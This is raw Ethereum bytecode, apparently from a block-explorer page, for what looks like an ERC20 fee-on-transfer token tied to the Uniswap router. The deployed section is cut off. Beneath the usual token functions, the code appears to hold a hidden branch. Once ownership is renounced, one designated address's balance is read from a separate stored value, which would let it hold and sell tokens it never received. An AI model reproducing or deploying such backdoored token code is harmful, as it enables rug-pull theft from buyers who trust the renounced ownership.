506102a16102f1366004611f12565b610999565b348015610301575f5ffd5b506005545b6040519081526020016102ad565b34801561031f575f5ffd5b5061030660145481565b348015610334575f5ffd5b506102a1610343366004611f3c565b6109af565b348015610353575f5ffd5b5061035c610a57565b005b348015610369575f5ffd5b50604051600981526020016102ad565b348015610384575f5ffd5b5061030660125481565b348015610399575f5ffd5b50610306600d5481565b3480156103ae575f5ffd5b506102a16103bd366004611f12565b610c70565b3480156103cd575f5ffd5b5061035c6103dc366004611eb2565b610cab565b3480156103ec575f5ffd5b50600a546102a190600160b01b900460ff1681565b34801561040c575f5ffd5b506102a161041b366004611f7a565b60176020525f908152604090205460ff1681565b34801561043a575f5ffd5b5061030660115481565b34801561044f575f5ffd5b50600a546102a190600160a81b900460ff1681565b34801561046f575f5ffd5b50610306600c5481565b348015610484575f5ffd5b50610306610493366004611f7a565b6001600160a01b03165f9081526006602052604090205490565b3480156104b8575f5ffd5b5061035c610d51565b3480156104cc575f5ffd5b506104f47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102ad565b348015610517575f5ffd5b506102a1610d85565b34801561052b575f5ffd5b506009546104f4906001600160a01b031681565b34801561054a575f5ffd5b5061035c610dc2565b34801561055e575f5ffd5b5061035c610e05565b348015610572575f5ffd5b505f546001600160a01b03166104f4565b34801561058e575f5ffd5b5061035c61059d366004611fa4565b610e48565b3480156105ad575f5ffd5b5061035c6105bc366004611fbd565b610e8f565b3480156105cc575f5ffd5b506102ca610ee2565b3480156105e0575f5ffd5b5061030660105481565b3480156105f5575f5ffd5b5061030660155481565b34801561060a575f5ffd5b5061030660135481565b34801561061f575f5ffd5b506102a161062e366004611f12565b610ef1565b34801561063e575f5ffd5b506102a161064d366004611f7a565b60186020525f908152604090205460ff1681565b34801561066c575f5ffd5b506102a161067b366004611f12565b610f89565b34801561068b575f5ffd5b50600a546102a190600160a01b900460ff1681565b3480156106ab575f5ffd5b5061035c6106ba366004611eb2565b610f95565b3480156106ca575f5ffd5b5061035c6106d9366004611fbd565b611030565b3480156106e9575f5ffd5b50600a546104f4906001600160a01b031681565b348015610708575f5ffd5b506008546104f4906001600160a01b031681565b348015610727575f5ffd5b50610306600b5481565b34801561073c575f5ffd5b50610306600e5481565b348015610751575f5ffd5b50610306610760366004611ff0565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610795575f5ffd5b50610306600f5481565b3480156107aa575f5ffd5b5061035c6107b9366004611f7a565b611083565b3480156107c9575f5ffd5b5061035c6107d8366004611eb2565b6110de565b3480156107e8575f5ffd5b506102a16107f7366004611f7a565b60196020525f908152604090205460ff1681565b5f80546001600160a01b0316331461083e5760405162461bcd60e51b815260040161083590612027565b60405180910390fd5b620186a061084b60055490565b61085690600161205e565b6108609190612075565b82101561089e5760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610835565b6103e86108aa60055490565b6108b590600561205e565b6108bf9190612075565b8211156108fb5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610835565b50600c81905560015b919050565b60606001805461091890612094565b80601f016020809104026020016040519081016040528092919081815260200182805461094490612094565b801561098f5780601f106109665761010080835404028352916020019161098f565b820191905f5260205f20905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b5f6109a5338484611184565b5060015b92915050565b5f6109bb8484846112a7565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610a3f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610835565b610a4c8533858403611184565b506001949350505050565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161083590612027565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610af8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c91906120cc565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b87573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bab91906120cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1891906120cc565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916109a5918590610ca69086906120e7565b611184565b5f546001600160a01b03163314610cd45760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610ce560055490565b610cf090600161205e565b610cfa9190612075565b610d049190612075565b811015610d3d5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610835565b610d4b81633b9aca0061205e565b600b5550565b5f546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161083590612027565b610d835f6118e8565b565b5f80546001600160a01b03163314610daf5760405162461bcd60e51b815260040161083590612027565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610deb5760405162461bcd60e51b815260040161083590612027565b5f600f8190556010819055610e0090806120e7565b600e55565b5f546001600160a01b03163314610e2e5760405162461bcd60e51b815260040161083590612027565b5f60128190556013819055610e4390806120e7565b601155565b5f546001600160a01b03163314610e715760405162461bcd60e51b815260040161083590612027565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610eb85760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60606002805461091890612094565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f725760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610835565b610f7f3385858403611184565b5060019392505050565b5f6109a53384846112a7565b5f8111610fce5760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610835565b6009546001600160a01b03163314610fe35750565b610fec81611937565b47801561102c576009546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561102a573d5f5f3e3d5ffd5b505b5050565b5f546001600160a01b031633146110595760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146110ac5760405162461bcd60e51b815260040161083590612027565b6001600160a01b0381166110d25760405162461bcd60e51b815260040161083590612027565b6110db816118e8565b50565b5f546001600160a01b031633146111075760405162461bcd60e51b815260040161083590612027565b633b9aca006103e861111860055490565b61112390600561205e565b61112d9190612075565b6111379190612075565b8110156111705760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610835565b61117e81633b9aca0061205e565b600d5550565b6001600160a01b0383166111e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166112475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112ec5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610835565b6001600160a01b03821661132f5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610835565b805f036113415761102a83835f611aed565b600a54600160b01b900460ff1615611639575f546001600160a01b0384811691161480159061137d57505f546001600160a01b03838116911614155b801561139157506001600160a01b03821615155b80156113a857506001600160a01b03821661dead14155b80156113b7575060165460ff16155b1561163957600a54600160a01b900460ff1661144b576001600160a01b0383165f9081526017602052604090205460ff168061140a57506001600160a01b0382165f9081526017602052604090205460ff165b61144b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610835565b6001600160a01b0383165f9081526019602052604090205460ff16801561148a57506001600160a01b0382165f9081526018602052604090205460ff16155b1561153557600b548111156114cd5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b600d546001600160a01b0383165f908152600660205260409020546114f290836120e7565b11156115305760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b611639565b6001600160a01b0382165f9081526019602052604090205460ff16801561157457506001600160a01b0383165f9081526018602052604090205460ff16155b156115b757600b548111156115305760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b6001600160a01b0382165f9081526018602052604090205460ff1661163957600d546001600160a01b0383165f908152600660205260409020546115fb90836120e7565b11156116395760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b305f90815260066020526040902054600c54811080159081906116655750600a54600160a81b900460ff165b8015611674575060165460ff16155b801561169857506001600160a01b0385165f9081526019602052604090205460ff16155b80156116bc57506001600160a01b0385165f9081526017602052604090205460ff16155b80156116e057506001600160a01b0384165f9081526017602052604090205460ff16155b15611705576016805460ff191660011790556116fa611cda565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061174a57506001600160a01b0385165f9081526017602052604090205460ff165b1561175257505f5b5f81156118d4576001600160a01b0386165f9081526019602052604090205460ff16801561178157505f601154115b1561180d576117a660646117a060115488611e2290919063ffffffff16565b90611e34565b9050601154601354826117b9919061205e565b6117c39190612075565b60155f8282546117d391906120e7565b90915550506011546012546117e8908361205e565b6117f29190612075565b60145f82825461180291906120e7565b909155506118b69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561183557505f600e54115b156118b65761185460646117a0600e5488611e2290919063ffffffff16565b9050600e5460105482611867919061205e565b6118719190612075565b60155f82825461188191906120e7565b9091555050600e54600f54611896908361205e565b6118a09190612075565b60145f8282546118b091906120e7565b90915550505b80156118c7576118c7873083611aed565b6118d181866120fa565b94505b6118df878787611aed565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061196a5761196a61210d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a0a91906120cc565b81600181518110611a1d57611a1d61210d565b60200260200101906001600160a01b031690816001600160a01b031681525050611a68307f000000000000000000000000000000000000000000000000000000000000000084611184565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611abc9085905f90869030904290600401612121565b5f604051808303815f87803b158015611ad3575f5ffd5b505af1158015611ae5573d5f5f3e3d5ffd5b505050505050565b6001600160a01b038316611b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b038216611bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b611bbe83838361102a565b6001600160a01b0383165f9081526006602052604090205481811015611c355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610835565b81611c3f85611e3f565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611c759084906120e7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc191815260200190565b60405180910390a3611cd484848461102a565b50505050565b305f9081526006602052604081205490505f601554601454611cfc91906120e7565b90505f821580611d0a575081155b15611d1457505050565b600c54611d2290603c61205e565b831115611d3a57600c54611d3790603c61205e565b92505b47611d4484611937565b5f611d4f4783611e49565b90505f611d6b856117a060155485611e2290919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611dc0576040519150601f19603f3d011682016040523d82523d5f602084013e611dc5565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611e12576040519150601f19603f3d011682016040523d82523d5f602084013e611e17565b606091505b505050505050505050565b5f611e2d828461205e565b9392505050565b5f611e2d8284612075565b5f6109a982611e54565b5f611e2d82846120fa565b5f611e5e82611e86565b15611e6b57505060045490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b0383811691161480156109a95750505f546001600160a01b031615919050565b5f60208284031215611ec2575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110db575f5ffd5b5f5f60408385031215611f23575f5ffd5b8235611f2e81611efe565b946020939093013593505050565b5f5f5f60608486031215611f4e575f5ffd5b8335611f5981611efe565b92506020840135611f6981611efe565b929592945050506040919091013590565b5f60208284031215611f8a575f5ffd5b8135611e2d81611efe565b80358015158114610904575f5ffd5b5f60208284031215611fb4575f5ffd5b611e2d82611f95565b5f5f60408385031215611fce575f5ffd5b8235611fd981611efe565b9150611fe760208401611f95565b90509250929050565b5f5f60408385031215612001575f5ffd5b823561200c81611efe565b9150602083013561201c81611efe565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176109a9576109a961204a565b5f8261208f57634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c908216806120a857607f821691505b6020821081036120c657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156120dc575f5ffd5b8151611e2d81611efe565b808201808211156109a9576109a961204a565b818103818111156109a9576109a961204a565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121715783516001600160a01b031683526020938401939092019160010161214a565b50506001600160a01b03959095166060840152505060800152939250505056fea26469706673582212204d6a18cdb54f615e6233f0c1fc740a1be5bb059a6e0f611910f0d33c992c7a2a64736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610277575f3560e01c80638968794c1161014a578063bbc0c742116100be578063d85ba06311610078578063d85ba06314610731578063dd62ed3e14610746578063e4a1b95f1461078a578063f2fde38b1461079f578063f8acfffa146107be578063fe33b302146107dd575f5ffd5b8063bbc0c74214610680578063bffda982146106a0578063c0246668146106bf578063c04a5414146106de578063c816841b146106fd578063cff16b2f1461071c575f5ffd5b80639c3b4fdc1161010f5780639c3b4fdc146105d55780639fccce32146105ea578063a0d82dc5146105ff578063a457c2d714610614578063a781dc3514610633578063a9059cbb14610661575f5ffd5b80638968794c146105535780638da5cb5b14610567578063924de9b71461058357806394a1700e146105a257806395d89b41146105c1575f5ffd5b806348898186116101ec57806370a08231116101a657806370a0823114610479578063715018a6146104ad578063735de9f7146104c1578063751039fc1461050c57806375f0a87414610520578063798da9261461053f575f5ffd5b806348898186146103c25780634a62bb65146103e15780634fbee193146104015780636a486a8e1461042f5780636ddd1713146104445780636e1b6cda14610464575f5ffd5b806323b872dd1161023d57806323b872dd14610329578063293230b814610348578063313ce5671461035e57806335b5fb631461037957806337da26ca1461038e57806339509351146103a3575f5ffd5b8062c305ee1461028257806306fdde03146102b6578063095ea7b3146102d757806318160ddd146102f65780631f7ea8da14610314575f5ffd5b3661027e57005b5f5ffd5b34801561028d575f5ffd5b506102a161029c366004611eb2565b61080b565b60405190151581526020015b60405180910390f35b3480156102c1575f5ffd5b506102ca610909565b6040516102ad9190611ec9565b3480156102e2575f5ffd5b506102a16102f1366004611f12565b610999565b348015610301575f5ffd5b506005545b6040519081526020016102ad565b34801561031f575f5ffd5b5061030660145481565b348015610334575f5ffd5b506102a1610343366004611f3c565b6109af565b348015610353575f5ffd5b5061035c610a57565b005b348015610369575f5ffd5b50604051600981526020016102ad565b348015610384575f5ffd5b5061030660125481565b348015610399575f5ffd5b50610306600d5481565b3480156103ae575f5ffd5b506102a16103bd366004611f12565b610c70565b3480156103cd575f5ffd5b5061035c6103dc366004611eb2565b610cab565b3480156103ec575f5ffd5b50600a546102a190600160b01b900460ff1681565b34801561040c575f5ffd5b506102a161041b366004611f7a565b60176020525f908152604090205460ff1681565b34801561043a575f5ffd5b5061030660115481565b34801561044f575f5ffd5b50600a546102a190600160a81b900460ff1681565b34801561046f575f5ffd5b50610306600c5481565b348015610484575f5ffd5b50610306610493366004611f7a565b6001600160a01b03165f9081526006602052604090205490565b3480156104b8575f5ffd5b5061035c610d51565b3480156104cc575f5ffd5b506104f47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102ad565b348015610517575f5ffd5b506102a1610d85565b34801561052b575f5ffd5b506009546104f4906001600160a01b031681565b34801561054a575f5ffd5b5061035c610dc2565b34801561055e575f5ffd5b5061035c610e05565b348015610572575f5ffd5b505f546001600160a01b03166104f4565b34801561058e575f5ffd5b5061035c61059d366004611fa4565b610e48565b3480156105ad575f5ffd5b5061035c6105bc366004611fbd565b610e8f565b3480156105cc575f5ffd5b506102ca610ee2565b3480156105e0575f5ffd5b5061030660105481565b3480156105f5575f5ffd5b5061030660155481565b34801561060a575f5ffd5b5061030660135481565b34801561061f575f5ffd5b506102a161062e366004611f12565b610ef1565b34801561063e575f5ffd5b506102a161064d366004611f7a565b60186020525f908152604090205460ff1681565b34801561066c575f5ffd5b506102a161067b366004611f12565b610f89565b34801561068b575f5ffd5b50600a546102a190600160a01b900460ff1681565b3480156106ab575f5ffd5b5061035c6106ba366004611eb2565b610f95565b3480156106ca575f5ffd5b5061035c6106d9366004611fbd565b611030565b3480156106e9575f5ffd5b50600a546104f4906001600160a01b031681565b348015610708575f5ffd5b506008546104f4906001600160a01b031681565b348015610727575f5ffd5b50610306600b5481565b34801561073c575f5ffd5b50610306600e5481565b348015610751575f5ffd5b50610306610760366004611ff0565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610795575f5ffd5b50610306600f5481565b3480156107aa575f5ffd5b5061035c6107b9366004611f7a565b611083565b3480156107c9575f5ffd5b5061035c6107d8366004611eb2565b6110de565b3480156107e8575f5ffd5b506102a16107f7366004611f7a565b60196020525f908152604090205460ff1681565b5f80546001600160a01b0316331461083e5760405162461bcd60e51b815260040161083590612027565b60405180910390fd5b620186a061084b60055490565b61085690600161205e565b6108609190612075565b82101561089e5760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610835565b6103e86108aa60055490565b6108b590600561205e565b6108bf9190612075565b8211156108fb5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610835565b50600c81905560015b919050565b60606001805461091890612094565b80601f016020809104026020016040519081016040528092919081815260200182805461094490612094565b801561098f5780601f106109665761010080835404028352916020019161098f565b820191905f5260205f20905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b5f6109a5338484611184565b5060015b92915050565b5f6109bb8484846112a7565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610a3f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610835565b610a4c8533858403611184565b506001949350505050565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161083590612027565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610af8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c91906120cc565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b87573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bab91906120cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1891906120cc565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916109a5918590610ca69086906120e7565b611184565b5f546001600160a01b03163314610cd45760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610ce560055490565b610cf090600161205e565b610cfa9190612075565b610d049190612075565b811015610d3d5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610835565b610d4b81633b9aca0061205e565b600b5550565b5f546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161083590612027565b610d835f6118e8565b565b5f80546001600160a01b03163314610daf5760405162461bcd60e51b815260040161083590612027565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610deb5760405162461bcd60e51b815260040161083590612027565b5f600f8190556010819055610e0090806120e7565b600e55565b5f546001600160a01b03163314610e2e5760405162461bcd60e51b815260040161083590612027565b5f60128190556013819055610e4390806120e7565b601155565b5f546001600160a01b03163314610e715760405162461bcd60e51b815260040161083590612027565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610eb85760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60606002805461091890612094565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f725760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610835565b610f7f3385858403611184565b5060019392505050565b5f6109a53384846112a7565b5f8111610fce5760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610835565b6009546001600160a01b03163314610fe35750565b610fec81611937565b47801561102c576009546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561102a573d5f5f3e3d5ffd5b505b5050565b5f546001600160a01b031633146110595760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146110ac5760405162461bcd60e51b815260040161083590612027565b6001600160a01b0381166110d25760405162461bcd60e51b815260040161083590612027565b6110db816118e8565b50565b5f546001600160a01b031633146111075760405162461bcd60e51b815260040161083590612027565b633b9aca006103e861111860055490565b61112390600561205e565b61112d9190612075565b6111379190612075565b8110156111705760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610835565b61117e81633b9aca0061205e565b600d5550565b6001600160a01b0383166111e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166112475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112ec5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610835565b6001600160a01b03821661132f5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610835565b805f036113415761102a83835f611aed565b600a54600160b01b900460ff1615611639575f546001600160a01b0384811691161480159061137d57505f546001600160a01b03838116911614155b801561139157506001600160a01b03821615155b80156113a857506001600160a01b03821661dead14155b80156113b7575060165460ff16155b1561163957600a54600160a01b900460ff1661144b576001600160a01b0383165f9081526017602052604090205460ff168061140a57506001600160a01b0382165f9081526017602052604090205460ff165b61144b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610835565b6001600160a01b0383165f9081526019602052604090205460ff16801561148a57506001600160a01b0382165f9081526018602052604090205460ff16155b1561153557600b548111156114cd5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b600d546001600160a01b0383165f908152600660205260409020546114f290836120e7565b11156115305760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b611639565b6001600160a01b0382165f9081526019602052604090205460ff16801561157457506001600160a01b0383165f9081526018602052604090205460ff16155b156115b757600b548111156115305760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b6001600160a01b0382165f9081526018602052604090205460ff1661163957600d546001600160a01b0383165f908152600660205260409020546115fb90836120e7565b11156116395760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b305f90815260066020526040902054600c54811080159081906116655750600a54600160a81b900460ff165b8015611674575060165460ff16155b801561169857506001600160a01b0385165f9081526019602052604090205460ff16155b80156116bc57506001600160a01b0385165f9081526017602052604090205460ff16155b80156116e057506001600160a01b0384165f9081526017602052604090205460ff16155b15611705576016805460ff191660011790556116fa611cda565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061174a57506001600160a01b0385165f9081526017602052604090205460ff165b1561175257505f5b5f81156118d4576001600160a01b0386165f9081526019602052604090205460ff16801561178157505f601154115b1561180d576117a660646117a060115488611e2290919063ffffffff16565b90611e34565b9050601154601354826117b9919061205e565b6117c39190612075565b60155f8282546117d391906120e7565b90915550506011546012546117e8908361205e565b6117f29190612075565b60145f82825461180291906120e7565b909155506118b69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561183557505f600e54115b156118b65761185460646117a0600e5488611e2290919063ffffffff16565b9050600e5460105482611867919061205e565b6118719190612075565b60155f82825461188191906120e7565b9091555050600e54600f54611896908361205e565b6118a09190612075565b60145f8282546118b091906120e7565b90915550505b80156118c7576118c7873083611aed565b6118d181866120fa565b94505b6118df878787611aed565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061196a5761196a61210d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a0a91906120cc565b81600181518110611a1d57611a1d61210d565b60200260200101906001600160a01b031690816001600160a01b031681525050611a68307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611184565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611abc9085905f90869030904290600401612121565b5f604051808303815f87803b158015611ad3575f5ffd5b505af1158015611ae5573d5f5f3e3d5ffd5b505050505050565b6001600160a01b038316611b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b038216611bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b611bbe83838361102a565b6001600160a01b0383165f9081526006602052604090205481811015611c355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610835565b81611c3f85611e3f565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611c759084906120e7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc191815260200190565b60405180910390a3611cd484848461102a565b50505050565b305f9081526006602052604081205490505f601554601454611cfc91906120e7565b90505f821580611d0a575081155b15611d1457505050565b600c54611d2290603c61205e565b831115611d3a57600c54611d3790603c61205e565b92505b47611d4484611937565b5f611d4f4783611e49565b90505f611d6b856117a060155485611e2290919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611dc0576040519150601f19603f3d011682016040523d82523d5f602084013e611dc5565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611e12576040519150601f19603f3d011682016040523d82523d5f602084013e611e17565b606091505b505050505050505050565b5f611e2d828461205e565b9392505050565b5f611e2d8284612075565b5f6109a982611e54565b5f611e2d82846120fa565b5f611e5e82611e86565b15611e6b57505060045490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b0383811691161480156109a95750505f546001600160a01b031615919050565b5f60208284031215611ec2575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110db575f5ffd5b5f5f60408385031215611f23575f5ffd5b8235611f2e81611efe565b946020939093013593505050565b5f5f5f60608486031215611f4e575f5ffd5b8335611f5981611efe565b92506020840135611f6981611efe565b929592945050506040919091013590565b5f60208284031215611f8a575f5ffd5b8135611e2d81611efe565b80358015158114610904575f5ffd5b5f60208284031215611fb4575f5ffd5b611e2d82611f95565b5f5f60408385031215611fce575f5ffd5b8235611fd981611efe565b9150611fe760208401611f95565b90509250929050565b5f5f60408385031215612001575f5ffd5b823561200c81611efe565b9150602083013561201c81611efe565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176109a9576109a961204a565b5f8261208f57634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c908216806120a857607f